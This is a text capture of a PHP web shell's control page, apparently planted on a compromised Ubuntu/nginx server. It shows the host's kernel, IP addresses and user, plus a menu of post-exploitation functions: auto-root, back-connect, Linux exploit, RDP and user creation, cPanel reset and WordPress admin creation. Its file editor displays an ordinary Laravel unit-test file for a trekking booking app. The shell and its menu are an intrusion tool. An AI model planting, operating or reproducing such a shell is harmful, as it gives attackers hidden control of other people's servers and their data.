Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api /
tests /
Unit /
[ HOME SHELL ]
Name
Size
Permission
Action
Trek
[ DIR ]
drwxrwxr-x
CalculateTest.php
865
B
-rw-rw-r--
DetailTest.php
669
B
-rw-rw-r--
OtherTest.php
6.52
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : OtherTest.php
<?php namespace Tests\Unit; use App\Modules\Trek\Entities\Booking; use App\Modules\Trek\Entities\Trek; use App\Modules\Trek\Entities\TrekDeparture; use App\Modules\Trek\Repositories\BookingRepository; use App\Modules\Trek\Repositories\PaymentRepository; use App\Modules\Trek\Repositories\TrekDepartureRepository; use App\Modules\Trek\Repositories\TrekRepository; use Tests\TestCase; class OtherTest extends TestCase { public function setUp() { parent::setUp(); $this->trekRepo = new TrekRepository(); $this->departureRepo = new TrekDepartureRepository(); $this->paymentRepo = new PaymentRepository(); $this->bookingRepo = new BookingRepository(); } /** @test */ public function trek_should_exist() { $trek = factory(Trek::class)->create(); $response = $this->trekRepo->checkIfValidated($trek->id); $this->assertEquals(200, $response['code']); } // /** @test */ // public function trek_should_not_exist() // { // $trek_id = 9999999; // //assert that trek with id does not exist // } /** @test */ public function get_booking_details_should_return_upcoming_departure_list_with_pricing() { $trek_id = 1; $where = ['trek_id' => $trek_id]; $with = ['season']; $trek = $this->trekRepo->findById($trek_id); // info('res:' . json_encode($trek)); $this->assertEquals(1, $trek['id']); $response = $this->departureRepo->getUpcomingDeparturesPricing($where, $with, $trek); $this->assertIsArray($response); } /** @test */ public function trek_with_trek_departure_should_exist() { $request = factory(TrekDeparture::class)->make(); info('response:' . json_encode($request)); $response = $this->departureRepo->save($request->toArray()); info($response); $this->assertEquals($request->trek_id, $response->trek_id); $this->assertEquals($request->price, $response->price); } /** @test */ public function test_check_booking() { $request = factory(Booking::class)->make(); info('response:' . json_encode($request)); $response = $this->bookingRepo->save($request->toArray()); info($response); $this->assertEquals($request->trek_id, $response->trek_id); } /** @test */ public function test_checkout_payment_should_be_successful() { $booking = factory(Booking::class)->create(); $data = [ "card" => [ "cvc" => "124", "exp_month" => "12", "exp_year" => "2019", "name" => "test", "number" => "4242424242424242" ], "booking_id" => $booking->uuid, "charge" => "100" ]; $response = $this->paymentRepo->createOneTimeCharge($data); $this->assertEquals(200, $response['code']); } // /** @test */ // public function should_apply_group_discount_with_rule() // { // //CRITICAL // $trek_id = 1; // //get discounts // //1. trek create // //2. create discount with hard-coded matrix // //3. input total travelers // //3.1 traverlers count = 1 => get discount and validate // //3.2 traverlers count = 5 => get discount and validate // //3.3 traverlers count = 10 => get discount and validate // //3.3 traverlers count = -400 => get discount and validate // //3.3 traverlers count = 9000 => get discount and validate // } // // /** @test */ // public function should_apply_group_discount_with_rule_for_given_trek_id() // { // //CRITICAL // $trek_id = 20; // //get discounts // //1. fetch discount rules // //2. input total travelers // //3.1 traverlers count = 0 => discount should be 0 // //3.1 traverlers count = 1 => get discount and validate : $10 // //3.2 traverlers count = 5 => get discount and validate: >20 // //3.3 traverlers count = 10 => get discount and validate: $35 // //3.3 traverlers count = -400 => get discount and validate // //3.3 traverlers count = 9000 => get discount and validate // } // // /** @test */ // public function should_not_apply_group_discount_for_qty_0() // { // //CRITICAL // $trek_id = 20; // //get discounts // //1. fetch discount rules // //2. input total travelers // //3.1 traverlers count = 0 => discount should be 0 // //3.1 traverlers count = 1 => get discount and validate // //3.2 traverlers count = 5 => get discount and validate // //3.3 traverlers count = 10 => get discount and validate // //3.3 traverlers count = -400 => get discount and validate // //3.3 traverlers count = 9000 => get discount and validate // } // // /** @test */ // public function base_price_should_be_lower_among_trek_and_seleted_departure() // { // //CRITICAL // //1. create trek with base price $100 // //2. create upcoming departure with future date -> date() function // //3. call that function that fetches applied base price // //input trek_id, and departure_id // //you know what should be the base price - for starts from should be lower - ASSERT // } // // /** @test */ // public function should_apply_discount_on_departure_base_price_for_selected_departure() // { // //CRITICAL // // } // // //unit tests for checkout // // /** @test */ // public function test_checkout_should_be_successful() // { // //CRITICAL // //if proper data are sent, order should be placed, // // payment should be succesful // // //mockup: email - job - queue // //order placement // } // // // /** @test */ // public function test_checkout_email_should_be_sent_with_cc_and_bcc() // { // //CRITICAL // //if proper data are sent, order should be placed, // // payment should be succesful // } // // /** @test */ // public function test_checkout_order_success_email_should_have_attachment() // { // //CRITICAL // //if proper data are sent, order should be placed, // // payment should be succesful // } // // /** @test */ // public function test_checkout_invoice_pdf_should_be_generated() // { // //CRITICAL // //if proper data are sent, order should be placed, // // payment should be succesful // //$trek_id=1 // //pdf should be- http://localhost:8000/uploads/invoice/1/1.pdf // } }
Close